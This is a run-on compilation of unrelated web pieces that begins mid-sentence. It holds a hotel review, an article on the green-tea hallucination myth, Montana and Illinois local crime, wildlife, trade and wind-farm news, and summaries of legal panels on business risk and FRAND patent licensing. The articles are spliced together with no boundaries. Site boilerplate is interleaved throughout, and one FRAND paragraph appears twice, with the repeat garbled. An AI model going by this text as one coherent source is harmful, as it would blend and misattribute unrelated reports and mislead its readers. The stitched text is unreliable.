fee to the community (there is that C again) but free for hotel guests. That way people come together for yoga and pilates as they normally would with a group of sweaty strangers. Fitness during travel doesnt just have to be the weird treadmill in the corner, right? SCP also offers music and a fun place to hang out. There is a beer and wine bar in the cozy reception area and live music usually every Friday and Saturday night. Check out their calendar for who is playing and head on over, even if you are not a hotel guest. SCP has made it very clear everyone is welcome! SCP Hotel 2850 S Circle Dr Colorado Springs, CO 80906 719-430-5400 Rates: Around $100-125 per night See my other travel posts! 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That was a popular belief in times past. Aaron Joel Santos/Getty Images Unless you've been living off the grid, you're probably well-aware of the health benefits of green tea. The pale brew is full of antioxidants that may help lower the risk of stroke or stave off certain types of cancer, so sip away! Be warned, though, drinking too much green tea has a definite downside it can make you see ghostly figures that aren't really there. This may sound far-fetched, but the rumor that green tea causes hallucinations is an enduring one. As Robert Lamb and Christian Sager, hosts of this Stuff to Blow Your Mind podcast explain, green tea has a racy reputation that isn't nearly as mild as its taste. Advertisement The idea that green tea can cause hallucinations seems to originate in the Victorian era. At the time, the Lancet medical journal published a study noting the negative effects of green tea, including stomach problems and fluttering of the heart, citing a woman profiled in a Scottish medical journal who became hysterical after drinking green tea on an empty stomach. (Incidentally, physicians calmed her by administering opium.) To further cement green tea's reputation, author Sheridan Le Fanu an Irish mystery writer whose 1872 collection of tales featured the aptly named "Green Tea" latched onto this idea and used it in the short story that captured the public's imagination. Le Fanu's "Green Tea" takes place in the early 1800s and recounts the plight of one Mr. Jennings, a clergyman who sees the evil spirit of a monkey and turns to his doctor for help. His doctor rejects the idea that something supernatural is happening, and after discovering that Jennings drinks green tea before bed, the doctor claims the green tea is to blame. The doctor contends the green tea has built up in Jennings' body and is affecting his central nervous system, causing him to hallucinate. While the story's scientific explanation that green tea builds up in the body is false, it didn't seem completely implausible. After all, drinking too much of some substances like beer or alcohol can cause both temporary and permanent issues with reality perception. " " Tea pickers harvest leaves on a mountainside tea plantation in Indonesia. Antony Ratcliffe/Getty Images And there's another crucial kernel of truth. In the 1870s, green tea was an imported, expensive delicacy. So to increase its quantity and its shelf-life, purveyors added a variety of other things to the tea leaves, ranging from iron filings to plants like hazelwood or hawthorn. They also supplemented green tea's color by adding dye, in the form of natural additives like sheep dung and chemical colorants like Prussian blue. In fact, green tea's identity and flavor had become so muddled and diluted that when tea merchants attempted to sell pure green tea free from fillers, people didn't believe it was actually green tea and refused to buy it. Strange additives aside, regular amounts of green tea do not cause hallucinations unless you drink an inordinate amount of it. One 2009 study from La Trobe University tested people drinking various doses of caffeine and measured how much it would take to actually hallucinate. Participants who drank nine cups of green tea or three cups of coffee were three times more likely to hear voices and see objects that were not there. So, while it's technically possible to hallucinate by ingesting massive amounts of caffeine via green tea, it would require a great deal of the beverage and it wouldn't build up in one's system to have a cumulative effect, either. So evil monkeys aside, green tea is good for you in moderation. Now That's Interesting Green tea comes from leaves of the Camellia sinensis plant that have not undergone the same fermentation and oxidation process used to make black tea. Green tea has a higher concentration of antioxidants, known as polyphenols, than other types of tea. A 33-year-old Alaskan man is accused of running from an accident and having heroin and meth. Kielan Brett Franklin is charged with two felony counts of possession of dangerous drugs, a felony count of tampering with or fabricating physical evidence, and misdemeanor counts of driving under the influence of alcohol or drugs and possession of drug paraphernalia. On April 19, Franklin allegedly caused a car crash and then drove away from the scene without calling police. Franklin went into the bathroom of a nearby business where he left heroin, a pipe, spoon and lighter, but was still in possession of meth, according to court documents. Franklin was arrested and taken into custody at the Lewis and Clark County Detention Center. All charged are presumed innocent until proven guilty. Love 3 Funny 6 Wow 1 Sad 5 Angry 2 Be the first to know Get local news delivered to your inbox! Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. 1. Communicating Risk What are the effective strategies for communicating risk to the business? What works and what doesn't? Lynda commented that the legal department in Regeneron has a lot of exposure to senior business who have the mantra that "science drives the business, not lawyers", but senior management is also on top of the legal issues and latest case law and developments. Our job is to advise of the risks to business, said Lynda. Lynda therefore learns as much about the risk and legal ramifications, internally, consults external counsel to supplement the assessment and then communicates the best information on risk to the business. Melissa said her experience is slightly different in that there is a deference to the legal team at her company which practically means that the business seeks sign off from the legal department and in her business this means in a very short turnaround period. Cheryl said its also about knowing your audience - short bullet points and no jargon, all directed towards a business solution is important. John said that in Google, the senior management is relatively hands off letting the litigators litigate. However, if there is a threat to a business - an injunction or a judgment that impacts the P&L - that is the type of risk where John has to go in and explain the risk to business. John said that you have be incredibly well versed in the business (i.e. resources and direction) and with the engineering team (i.e. design around or product change), so you are prepared to answer the questions. You have to fully vet the issues. All of the panel agreed regarding the need to avoid long, legal memos. 2. Using Outside Counsel What qualities are you looking for? How do you like to interact? Lynda says its incredibly important that their outside counsel understands their business and technology - that is first and foremost. As a litigator, Lynda continued, we are mostly vetting litigation firms. For our business, Lynda said, it is important that our litigators can convey challenging technical concepts in a clear manner for a lay jury. We do not want patent attorneys dressing up as litigators; we really value trial experience. She also needs outside counsel who can converse with senior management and listen to them. For big cases, Lynda explained, Regeneron's senior management will also vet outside counsel. Cheryl says that at David Yurman they tend to handle most cases internally, unless there is a language and geographical issue (i.e. in China). John says that from a hiring perspective, you need your outside counsel to be an extension of your company in court - "they need to represent the Google brand appropriately". John says that from a retention perspective, you look for how your counsel operates under pressure, for example. That identifies how your external counsel reflects your brand's identity. You also need a strong day-to-day manager of the team, said John, as that is the person he is dealing with and he does not have time to manage everything. John said that you also have to look at diversity - why is this person in your firm not handling this case, when they are equipped to do so? 3. Diversity and NextGen There is a growing move to strive for more diverse teams. How do you factor diversity into instructions? John said that in litigation you will have a diverse panel of jurors. So you have to build a team to reflect that. When a pitch comes in you have to evaluate the team and if there is a proposal to substitute in associates, you also have to flag diversity when associates are being suggested. John said that at Google they also work with outside counsel to try and push diversity in their team. Lynda says that everyone wins with diversity. Not only are there different points of view, Lynda said, but she does not like to have a counsel table represented by only one gender and race before a woman judge, for example. It is an important issue and diversity informs who is instructed at Regeneron - all things being equal, diversity wins. Andrew explained that there are some judges in the US who order that junior lawyers address the court on certain motions (see for example, ChIPs NextGen initiatives). John says you need to get comfortable and encourage junior lawyers arguing motions. Lynda agreed and their experience has been really positive in this respect. John said it was also good practice to ask associates what their views and perspectives are on a case; they are often the ones closer to the material. It also encourages junior lawyers to work harder. 4. International legal perspective How do you address the business when matters arise with an international perspective? Cheryl said that besides differences in legal issues, you have to also be aware of cultural issues which impact business and legal decisions. Lynda said that international work is a fair amount of Regeneron's business and so she does a lot of reading to understand the issues. What is enjoyable about it is that working with outside counsel around the world generates a big legal team. John said that with multi-jurisdictional cases he asks a lot of "dumb questions", so that he can get the basic principles in his head. John also agreed with Cheryl - cultural issues are important and you have to calibrate your legal and risk analysis against that. Mark Burzynski has joined the Montana State Fund, Montana's largest workers compensation insurance carrier, as its chief financial officer and vice president of corporate support. Burzynski has had a nearly four-decade career in health care and insurance in Montana, having served in executive positions at Blue Cross and Blue Shield of Montana, and St. Vincent Healthcare. Burzynski received his MBA and MA/health services administration from the University of Wisconsin. He is a fellow of the American College of Healthcare Executives, was in the inaugural class of Leadership Montana and subsequently served on its Board of Governors. Burzynski also served on the board of the Helena Area Chamber of Commerce and is a member of the Exchange Club of Helena. He may be contacted at mark.burzynski@safemt.gov. A shooting of a grizzly bear near Augusta is under investigation by the U.S. Fish and Wildlife Service. An Augusta landowner shot the bear on April 13, according to a press release from Montana's Department of Fish, Wildlife & Parks. The U.S. Fish and Wildlife Service investigates all grizzly-involved incidents due to their status on the Endangered Species List. "We have several bears down from the Front, even east of Highway 287," Mike Madel, FWP bear management specialist, said in a press release. "They have been coming around cabins and have gotten into livestock feed. But we've had no reports of depredations on livestock to date." FWP is warning anyone going into areas with bears to prepare themselves with bear spray and remain "bear aware," paying attention to attractants and where they are in relation to bear environments. Love 24 Funny 5 Wow 5 Sad 5 Angry 23 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. A federal appeals court ruled environmental groups can fight for a more thorough analysis of wolf-killing programs in Idaho backcountry, although the decision may not affect government plans to lower wolf populations there. The 9th U.S. Circuit Court of Appeals ruled that five environmental groups did have standing to sue the U.S. Wildlife Services agency, even though a win might not save any wolves. Federal government attorneys argued the groups had no standing to bring a case, because Idaho Department of Fish and Game managers could replace federal hunters and make the decision moot. The appeals court judges said there was no guarantee Idaho would take that action, and ordered a federal district court to hear the whole case. With the new decision, we can return to the heart of the matter: whether or not Wildlife Services adequately reviewed the ecological consequences of killing scores of wolves each year in Idaho, Western Watersheds Project attorney Talasi Brooks wrote in an email. This lawsuit is all about dispelling the myths and propaganda about the big, bad wolf and getting federal agencies to acknowledge the overwhelming scientific evidence that killing wolves to reduce livestock losses or increase populations of hunted wildlife is cruel, pointless, and doesnt work. Western Watersheds was joined by the Center for Biological Diversity, Friends of the Clearwater, WildEarth Guardians and Predator Defense in challenging Wildlife Services. They argued the federal agency hadnt done enough research to justify assisting the Idaho Department of Fish and Games policy of reducing wolf populations to benefit elk herds in the Lolo zone along the Idaho-Montana border. Gray wolves made the Endangered Species Act in 1974 after being nearly extirpated from the Lower 48 states by farmers, ranchers and trappers. The U.S. Fish and Wildlife Service reintroduced wolves to remote parts of Idaho, Wyoming and Montana in 1994. That population reached the minimum goal of 30 breeding pairs in 2000, starting a series of failed attempts to remove the wolves from Endangered Species Act protection. After several court rejections, Congress passed a law in 2011 delisting Montana and Idaho wolves and blocking further court review. Sport hunters in Idaho have killed between 200 and 356 wolves a year since 2011. Wildlife Services hunters have killed between 42 and 80 wolves suspected of attacking livestock each year in the same period. The federal hunters have taken up to 23 more wolves a year to protect deer and elk populations in Idahos Lolo zone. Over the past winter, the agency killed 73 wolves suspected of livestock attacks, and 10 to boost elk numbers. In 2011, Wildlife Services developed an environmental assessment of its efforts helping limit the wolf kills of livestock and wildlife. The agency concluded its work with Idaho Department of Fish and Game would not have a significant environmental impact, and it declined to do a more comprehensive environmental impact analysis. The five environmental groups sued Wildlife Services in 2016, arguing it should have done an environmental impact statement to take a harder look at how its wolf-killing would affect the overall population. A federal district court threw out the lawsuit, saying that even if Wildlife Services stopped killing wolves, the Idaho authorities could step in and kill the same number. The Appeals Court judges called that a mistake, because Idaho officials hadnt shown they were able to replace the federal hunters. Indeed, the fact that Wildlife Services has carried out nearly all lethal wolf management in Idaho since 2011, particularly through highly technical operations such as aerial hunting, suggests that IDFG may lack the expertise and resources to carry out those operations itself, the judges wrote. Idaho Department of Fish and Game spokesman Roger Phillips said that the state had capacity to continue wolf control policies on its own. We do that the expertise and can use our agency employees or other qualified contractors, Phillips said on Wednesday. We did it again this year. We hired a contractor in March and had seven wolves killed in aerial hunts. Love 0 Funny 0 Wow 0 Sad 0 Angry 2 SHELBY Authorities have released the names of two people killed in an incident that occurred in Toole County in northern Montana. The Toole County Sheriff's Office says the incident Monday began when deputies were called to a residence in the small town of Kevin, north of Shelby. They found a dead man, now identified as 43-year-old Kevin resident Jeromy W. Bryant. Police say that another man had taken a female at gunpoint from the Kevin residence to his home in Shelby where the suspect barricaded himself with the female hostage. The female hostage was eventually released but police say the suspect opened fire from inside the residence. Officers returned fire and found the man dead. He was identified as 50-year-old Richard A. Moench of Shelby. The incident remains under investigation. Love 0 Funny 0 Wow 0 Sad 2 Angry 0 Costa Rica buys Montanas resins and synthetic fibers, Korea buys the states coal and petroleum gases, and Canada is our largest customer for exports. Also, exports to China have grown significantly. The Office of the United States Trade Representatives says in 2017, Montana exported a record $1.6 billion worth of goods to more than a hundred countries around the world, including $1.1 billion worth of manufactured goods. The U.S. Census Bureau lists tobacco cigarettes as a roughly $280 million export industry in Montana, but Montana Department of Commerce communications director Emilie Ritter Saunders said theres a simple explanation for that. The U.S. Census Bureau tracks exports by the last point of origin before leaving the country, she said. Theres a processing plant in Shelby, Montana, that packages cigarettes before they are shipped internationally. So even though the cigarettes themselves werent produced here, the Census Bureau attributes the export to Montana because it was the last step in the process. Coal products account for well over $200 million worth of exports. Animal blood accounted for an estimated $46 million in exports in 2018. A 2015 Great Falls Tribune story profiled the Quad Five Ranch in Ryegate, which provides a source of animal blood for use in a variety of biomedical products. Montana ships more than $1 billion in agricultural products, including over $550 million worth of wheat, according to the Office of Trade Representatives. According to an organization called Trade Partnership Worldwide, trade with Canada and Mexico alone supports 40,000 jobs in Montana, and exports to those countries have increased by 329 percent since the implementation of the North American Free Trade Agreement in 1994. Paul Polzin, the emeritus director of the Bureau of Business and Economic Research at the University of Montana, wrote a recent report about manufacturing and Montanas exports. Montana manufacturers are competitive in international markets, he said There was burst of growth in the mid-2000s, but the volume of Montana exports has remained relatively stable since the end of the Great Recession. The recent upturn in worldwide economic trends is promising, but has not yet stimulated growth for Montana manufacturing exports. Chemicals exports from Montana were valued at $285 million in 2017. REC Silicon (in Butte) is classified in the chemical industry in this data and this firm exports much of its production of polysilicon, Polzin wrote in the report. Polzin said after Canada, China is Montanas best customer, ranking ahead of Korea and Taiwan. The growth of China as a destination for Montana manufacturing exports has been dramatic, he said. During the 15 years from 2002 to 2017, the average increase was 133% per year. During 2017 exports to China grew by 17%, despite the overall stability and declines reported for many other countries. A report from the U.S.-China business council shows oilseeds and grains as the top Montana exports to China, followed by basic chemicals and industrial machinery. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Hunting and livestock groups faced off regarding a plan to let cattle graze on the Spotted Dog Wildlife Management Area north of Deer Lodge. On Thursday, the Montana Fish and Game Commission unanimously approved letting Deer Lodge rancher Dan McQueary run cattle on a rotating set of pastures in the public property in return for letting elk use part of his ranch for winter range. But while some praised the lease agreement for helping private landowners co-exist with public wildlife, many sporting and wildlife groups complained they were cut out of the process. I feel more and more we are hearing from the public wanting to be engaged well before an environmental assessment comes out, Fish, Wildlife & Parks Director Martha Williams told the commissioners. The public demand to be engaged earlier has grown. FWP Region 2 Wildlife Manager Mike Thompson acknowledged he had not kept area sportsmens groups included to the extent they wished. He explained that the deal was between the agency representing the public and the landowner, not the interested outside groups, landowner and agency. For his part, McQueary said the deal was needed to compensate him for the losses hed incurred since the Spotted Dog went from a century of private ranching to public ownership. When the cattle grazing was removed, in my opinion the grass got tall, rank and stale, McQueary said. The elk went gradually toward where there was better feed for them. Over last five years, thats moved more and more elk toward our property. Ranchers like Chase Hibbard argued in written comments that allowing cows to graze there would improve forage for elk. Hibbard testified he had been running cattle on the Beartooth Wildlife Management Area for 37 years, which improved both plant health and water-holding capacity in the soil. He said since 1992, elk numbers there had gone from about 2,000 to 4,500. If our experience is any indication, there is great potential that properly managed cattle grazing on the Spotted Dog will be good for range, good for the elk, good for the hunters and good for the community, Hibbard wrote the commissioners. Others doubted that theory, pointing out that elk had evolved on those grasslands for thousands of years before ranchers added cattle to help them out. Montana Wildlife Federation Executive Director Dave Chadwick cited recent research showing wildlife habitat on the Spotted Dog had been hurt by past grazing activity and still hadnt recovered. Allowing more grazing would increase potential for invasive weeds like cheatgrass to get established there and risked damaging its wetlands. While the proposal indicates FWP and the ranchers will fence and monitor cattle activity to avoid those problems, Chadwick said the costs of that activity arent included in the plan. Chadwick also questioned why FWP appeared to be providing services to private landowners at the expense of hunters and the general public. Additionally, we feel that the use of sportsmen dollars to pay for the temporary fencing and continued maintenance by FWP is not in line with the intent of managing for wildlife within (Spotted Dog) and for the benefit of the general public, Chadwick wrote. He added, We question why the department is trying to advance the proposal without properly involving local sportsmens groups. While we understand that some negotiations are best done individually with landowners, sportsmens groups have not had an adequate opportunity to participate in the development of this proposal. Rocky Mountain Stockgrowers Association President Dan Conn wrote the proposal could be a model for elk refuges across Montana. The grazing system proposed in the DEA would provide some relief for the nearby landowners who bear the brunt of the impacts from elk trespassing from the (Spotted Dog) onto private property, while also resulting in the public achieving access to public elk on public property, Conn wrote. Approximately 8 percent of the (Spotted Dog) would be part of the study in total hardly enough to negatively impact the (area). Additionally, 2,100 acres of private property will be rested every year, which will also provide additional elk habitat. That didnt mollify many speakers at Thursdays commission meeting in Helena. Chris Marchion pointed out the Spotted Dog was bought as a wildlife refuge with public money from a settlement between mining companies and the state for toxic waste damage done to the Clark Fork River. As public owners, weve got to have some respect and were not getting it, Marchion said. He mentioned examples where volunteer hunting groups had helped landowners fix fencing and build calving areas to offset the impacts of wildlife grazing and hunter access. He said FWP should at least include stronger provisions to protect against the spread of noxious weeds from cattle grazing. Hellgate Hunters and Anglers President Adam Shaw added the plan didnt address how wolves and grizzlies might be dealt with if they attack livestock on the WMA. He noted the Spotted Dog is a critical corridor for grizzlies to connect their major recovery areas in the Northern Continental Divide and Greater Yellowstone ecosystems. University of Montana wildlife biologist Joshua Millspaugh said the research on livestock and wildlife sharing grasslands can be contradictory. While some show cattle grazing can improve the quality of vegetation for elk, other studies show they compete for the same plants. My opinion is that many of these papers that report negative effects can be tied back to overgrazing, Millspaugh said. One challenge is that each studys results depend greatly on the specific ground studied, so its hard to say if one conclusion applies to a different place. The lease will run for six years, after which all parties will re-evaluate how cattle and elk are reacting to the arrangement. Love 0 Funny 0 Wow 0 Sad 0 Angry 3 Take a look at the strengths, weaknesses and backgrounds of all 32 players taken in the first round of the 2019 NFL draft on Thursday night in DECATUR A Macon County Jail inmate and a Decatur woman are facing felony drug charges after police say she sent him methamphetamine-soaked coloring book pages that were then sold in strips to other inmates, a sworn affidavit said. Inmate Damien O. McClure, 36, and Tammy L. Leigh, 46, are facing preliminary charges of calculated criminal drug conspiracy, a Class X felony, and manufacture/delivery of methamphetamine less than 15 grams and possession of contraband in a penal institution. Preliminary charges are subject to review by the state's attorney's office. Sgt. Scott Flannery, assistant warden at jail, said this is the first time correctional offices have come across a drug-smuggling ploy using methamphetamine-laced paper, but they had been warned about it. We knew about it happening in other federal and state facilities, and it was something we were aware of, Flannery said. We get emails, we call them security briefs, that are sent from the Illinois Department of Corrections that say, Be on the lookout for this, or watch out for that ...' So when we found out this was happening in our jail, we thought, Oh, weve had information on that before.'" According to the affidavit, on March 28 correctional officers learned several inmates had received meth through coloring book pages laced with the drug. McClure received letters in the mail with the pages, and he sold pieces to inmates who would make payment onto his inmate commissary account via the jail's gift card system, the affidavit said. On April 8, McClure received a letter that contained a coloring book page, the affidavit said. The contents of the letter were placed in a locker where a K-9 unit alerted to the presence of narcotics. Correctional officers tore off a piece of the coloring book page, which field tested positive for methamphetamine, the affidavit said. The affidavit said a detective found phone calls between the McClure and Leigh discussing the transactions and whether McClure had received her letter. McClure also told Leigh to "perfect the method" before he headed to the Illinois Department of Corrections, so he could make money in prison, the affidavit said. In other phone calls, the affidavit said, McClure can be overheard discussing outside drug sales, the proceeds of which were deposited into his commissary account, which totaled $2,845.50 after his arrest. During an interview with detectives at the Decatur Police Department, the affidavit said Leigh admitted sending two to three meth-laced cards to McClure, but she denied sending the pages detectives had found. She also admitted making multiple deposits into his commissary account, but denied being paid for sending the items to the jail. McClure declined to be interviewed by detectives, the affidavit said. Flannery said McClure was in the jail waiting to start an eight-year prison sentence after he pleaded guilty in Macon County Circuit Court April 9 to being an armed habitual criminal. Staff Writer Tony Reid contributed to this story. 2019 mug shots from the Herald & Review Contact Kennedy Nolen at (217) 421-6985. Follow her on Twitter: @KNolenWrites Love 0 Funny 1 Wow 0 Sad 0 Angry 0 The highlight of the conference was (as one would expect) the FRAND panel. Ably co-chaired by Ari Laakkonen (Powell Gilbert) and Andrew Bowler (Bristows), the panel focussed on regulatory intervention, transparency, and courts setting FRAND rates. Regulatory intervention Marc (Sandy) Block of IBM explained the dilemma facing an in house lawyer when joining an SDO. Some SDOs have clear rules and limited scope. Others have much wider and less clear implications, and it is not clear to what extent they compromise the company's assets. FRAND obligations also keep him awake at night: if we get the rate wrong will a regulator tag us for acting uncompetitively? The stronger the obligations imposed by an SDO are, the more they point companies towards not participating. Renata Hesse (Sullivan and Cromwell, and former DoJ) sought to reassure patent practitioners that anti-trust was not trying to take over. Industry should not have to worry about an anti-trust regulator coming after them if their conduct was not close to the edge. She was happy to see the courts now engaged in FRAND determinations, because she felt they were better placed than regulators to resolve commercial disputes. With remarkable frankness, she acknowledged that in her time many people felt that the DoJ had pushed the balance too far in favour of implementers. Under her successor, some feel that the balance is swinging too far in the other direction. She explained that in the joint PTO/DoJ statement she had sought to find a fair balance. sought to reassure patent practitioners that anti-trust was not trying to take over. Industry should not have to worry about an anti-trust regulator coming after them if their conduct was not close to the edge. She was happy to see the courts now engaged in FRAND determinations, because she felt they were better placed than regulators to resolve commercial disputes. With remarkable frankness, she acknowledged that in her time many people felt that the DoJ had pushed the balance too far in favour of implementers. Under her successor, some feel that the balance is swinging too far in the other direction. She explainedshe had sought to find a fair balance. Dina Kallay (Ericsson, former FTC) argued that anti-trust regulators should protect the competitive process, rather than particular companies. She questioned whether it was a good use of taxpayers' money to assist one party in a bilateral technology dispute. She coined the phrase "regulatory hold up" to describe the use of regulatory intervention to force a better commercial deal. Transparency Edgar Brinkman (The Hague court) asked whether "hold up" and "hold out" were caused by insufficient transparency? If both sides keep their cards close to their chest, do more disputes arise because implementers suspect that they are being overcharged? Wolrad Waldek (Freshfields) explained that under the current German practice the SEP owner is now required to give the proposed licensee an opportunity to verify non-discrimination: i.e. it must lay open its licences. The practical difficulty was that the licences contain confidentiality clauses, which makes the requirement very difficult for patent owners to satisfy. It was not yet clear in Germany whether the implementer must also show its hand. David Por (Allen & Overy) explained that the Paris Appeal Court had addressed this in LG v Conversant: the implementer does not have to produce its licences. He accepted Judge Brinkman's view that in theory transparency would improve market function and decrease litigation. But the problem in practice is that pushing for disclosure achieves the opposite. By requiring disclosure, we create an impossible situation because the parties are not allowed to disclose: they would put themselves in breach of confidence. Counter-intuitively, the more we require transparency, the more we hinder resolution. Steven Geiszler of Huawei added that he was a big fan of transparency. But he questioned its value. Even if we could see everything, licensing practitioners are very smart and are skilled at obscuring the actual valuation and the rates. Eeva Hakoranta thought that the call for transparency may be partly rhetoric: most negotiators had a very good picture. They are not being hindered by a lack of information. Sandy Block raised the possibility that a public statement of rates might actually help a licensor. If he announces that his price is 1% and no one challenges him, it may be said that an implementer has accepted the price by not challenging it when announced. Non-discrimination Andrew Bowler asked whether ND should be hard edged? Renata Hesse was not a fan. Every party is different, and there must be flexibility. Eeva Hakoranta of Nokia agreed: in her experience each negotiation was individual. She observed that if hard-edged non discrimination was imposed, every licensee would demand a better deal than everyone else, and the prices will simply ratchet down. Unwired Planet and rate setting Jill Ge of Clifford Chance raised Unwired Planet, which she characterised as international coercion. She questioned what would happen if the Chinese courts adopted a similar approach. She also questioned the award of costs, which she felt was a further instance of coercion. Steven Geizler (Huawei) speculated whether this would cause a race to the courthouse. But he took comfort in Judge Gilstrap's decision in PanOptis v Huawei and felt that this would not happen more widely. Renata Hesse understood the comity concern of a single court deciding a global rate, but reminded the panel that when she was at the DoJ implementers would complain that they were being dragged from court to court around the world. There is a balance. Steven Geisler argued that if one jurisdiction covers 30% of sales then perhaps that should have more weight. But, he accepted, he did not want to have to be sued in 20 jurisdictions. Wolrad Waldeck pointed out a fact that many critics of the decision have missed: that the German (and many other) courts face exactly the same jurisdictional issue that Jill observed in the UK, but it arises by the back door: if a global rate is FRAND, and the court is deciding whether to award an injunction based on whether a party has offered, or declined a frand licence, it necessarily has to consider what might be a global FRAND rate. Judge Brinkman felt that courts were not well placed to set rates, just assess willingness or unwillingness. The strain on courts of deciding rates as well as infringement would be enormous. Annsley Ward from Bristows asked whether the solution was an international tribunal? Andrew Bowler agreed, particularly if this could be agreed at an SSO level. Eeva Hakoranta thought that a single solution would be impossible to agree, but argued that we should have a multitude of solutions that parties could accept. Nokia has demonstrated that Arbitration of FRAND rates works. But it needs consent. Judge Brinkman concluded by agreeing that some sort of international tribunal would be a good idea. But he questioned whether making it mandatory would comply with competition law. CLINTON A $300 million wind farm will not be coming to DeWitt County. The DeWitt County Board voted 6-5 with one abstention Thursday night against a special-use permit from Tradewind Energy. The vote was taken after a two-hour meeting before a crowd of about 300 people at Clinton High School. Previously, the county's Zoning Board of Appeals and Regional Planning Commission also rejected the plan. We're elated, said Andrea Rhoades, one of several residents living within the footprint of the project who opposed the wind farm. We are so happy with this decision after two years of work." Lenexa-Kan.-based Tradewind Energy proposed Alta Farms II, which would have placed 67 wind turbines, some possibly up to 591 feet tall, on sites across 12,202 acres in Barnett, Wapella and Clintonia townships. "The County Board listened to their constituents and they listened to the Regional Planning Commission and the Zoning Board of Appeals and did their jobs," Rhoades added. "They listened to the evidence presented and agreed that it did not meet the criteria for a special-use permit. This was a 30-year decision they were making and they made the right one. Tradewind Energy officials declined to comment following the vote, but they released a statement later Thursday evening. "Although we did not get the outcome our supporters and participating landowners wished to see, we would like to thank them for all of their hard work in developing this project," said Tom Swierczewski, a project developer for Tradewind Energy. "We continue to believe that the Alta Farms Wind Farm is a unique opportunity for DeWitt County to increase funding for their schools, put money into the tax base to have better infrastructure, create good-paying jobs, and lower taxes. "At this point we plan to reassess the situation and our options moving forward." While Tradewind Energy promoted what it said were the economic benefits of the project, resident and wind farm opponent Dale Naffziger said that shouldn't be a factor in the decision. If you follow the rules of the special-use permit, you can't vote yes, he told the board. The monetary portion of this wasn't about the special use and really shouldn't be considered. But nobody can claim the wind farm wouldn't harm the value of my property. Prior to the vote, Jane Ann Thomas was one of two DeWitt County residents who asked the board to approve the wind farm. Thomas said she did not have an agreement with Tradewind Energy, but felt it would help the county. "I am a supporter of renewable energy, namely wind energy," she said. "I have a passion for wind energy and Dewitt County. I know a great deal of time has been spent on this, and I hope you have thought long and hard about financial aid and how these financial benefits and jobs can help our county. "This will lead to improvements to our schools, which we must maintain," she said. "Those children we educate our our future and we want to keep the burden off of our taxpayers." Board member Terry Ferguson said he had concerns about the issues with weather forecasting after hearing testimony from 31-year DeWitt County resident Don Waddell, who holds a bachelor's degree in physics and is a member of the American Meteorological Society. Waddell said his research showed turbines could disrupt indicators of severe weather for Doppler radar based at the National Weather Service facility in Lincoln. This wind farm will blind the Lincoln radar from certain severe weather events, and our citizens will have less time to prepare for something like a tornado, he said."It happened with a tornado last year near Maroa." Regarding Waddell's concerns, Ferguson said, "I have asked Tradewind Energy about this and they said it would be OK, but they really didn't deny those issues as fact. Board members also had concerns about the permit being completed accurate. DeWitt County Zoning Administrator Angie Sarver told the board some information was missing from the application. Signatures of owners of five parcels involved in the project still have not been filed, she said. Betsy Shifflet, who also owns property near the proposed farm, said she was nervous, knowing the vote was going to be close. I am proud of everybody who have worked countless hours to fight this, she said. We have helped with research and getting the word out about this project, and we are just glad that it's over. Contact Kevin Barlow at (309) 820-3238. Follow him on Twitter: @pg_barlow Love 4 Funny 0 Wow 0 Sad 0 Angry 0 DECATUR Webster-Cantrell Hall will no longer provide residential treatment for males from ages 12 to 18, the agency said in a letter posted to its Facebook page. Six males are currently placed in the residential treatment facility, Webster-Cantrell CEO Michael Warner said in the letter. The plan is to transition them to new placements by Sunday, May 19. "The number of youth in residential placements throughout Illinois has greatly decreased over the year," Warner wrote. "The welfare of the current residents was foremost in the minds of Webster-Cantrell Hall's Board of Directors and CEO." It's unclear how many employees will be affected by the change. Warner did not respond to multiple phone messages left Wednesday and Thursday seeking information about rumored service cuts. The nonprofit organization, 1942 E. Cantrell Street, provides a variety of other services that include foster care, intact family services, adoption and counseling services. It will also continue to operate a girls' group home that provides therapy to five females ages 12 to 18. Through those programs, Warner said, Webster-Cantrell is providing support for more than 600 youth and families each month. "We will continue to support these families and work to strengthen our organization and programs so that we may make a positive impact in the greater Decatur community for many years to come," he said. Warner said the national trend for human service agencies and the Illinois Department of Child and Family Services is shifting toward providing treatments services and support for youth and families earlier in a child's life. Webster-Cantrell Hall came under scrutiny earlier this year for its involvement in the case of Ta'Naja Barnes, the Decatur 2-year-old who died Feb. 11. Police say the child died of starvation and neglect; Ta'Naja's mother and mother's boyfriend have pleaded not guilty to murder charges in the case. Ta'Naja had been in foster care under the supervision of Webster-Cantrell, which contracted with DCFS, and had recommended that the case be closed in October. The agency has referred all requests for comment about Ta'Naja's case to DCFS, which is investigating. Contact Allison Petty at (217) 421-6986. Follow her on Twitter: @allison0512 Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. SPRINGFIELD A local lawmaker announced Thursday the launch of a private fundraising campaign to buy a letter written by Gen. George McClellan to President Abraham Lincoln during the Civil War. State Rep. Mike Murphy, R-Springfield, said the goal is to raise the $14,500 necessary to buy the letter, which features McClellan requesting the promotions of several military leaders and Lincoln's handwritten response on the back. If the campaign is successful, the letter would be donated to the Abraham Lincoln Presidential Library and Museum. The document is owned by a collector from California. "It's something that I think will benefit the museum, and I know how important the museum is to the community," Murphy said. "Being a small businessperson for several years, the museum and library had a great impact on our business. Tourism is very important to us." To help raise funds for the effort, Murphy is partnering with local artist Julie Dailey, who is offering a poster she drew of Lincoln sites to anyone who donates $30 or more. Murphy said he will focus more on the fundraising effort after the legislative session concludes May 31 with the hope of achieving the goal in time for the Illinois State Fair in August. The effort is similar to the "Proud Penny Drive" organized by former state Rep. Sara Wojcicki Jimenez, R-Leland Grove, in 2018, where Sangamon County schoolchildren and local businesses raised more than $18,000 to buy the Minute Book of Sangamon County from July 1835 to July 1838. That document, now on display at the ALPLM, certified that Lincoln, then a new attorney, was of "good moral character." ALPLM executive director Alan Lowe said the library's director of acquisitions and the state historian both verified the document's authenticity to a high degree of confidence. "That's part of the process now to make sure that we have a very good look at that chain of custody and so forth," Lowe said. "So they've looked at that and it's very, very good provenance." Such precautions come as the authenticity of a Lincoln stovepipe hat, considered the crown jewel of the Taper collection, has come into question. The private foundation that supports the museum borrowed $23 million in 2007 to buy the collection. Lowe said about $9 million is still owed on that loan, which is due in October. He said he met with members of the foundation on Wednesday, who were "still hopeful" they could pay off the loan. "That 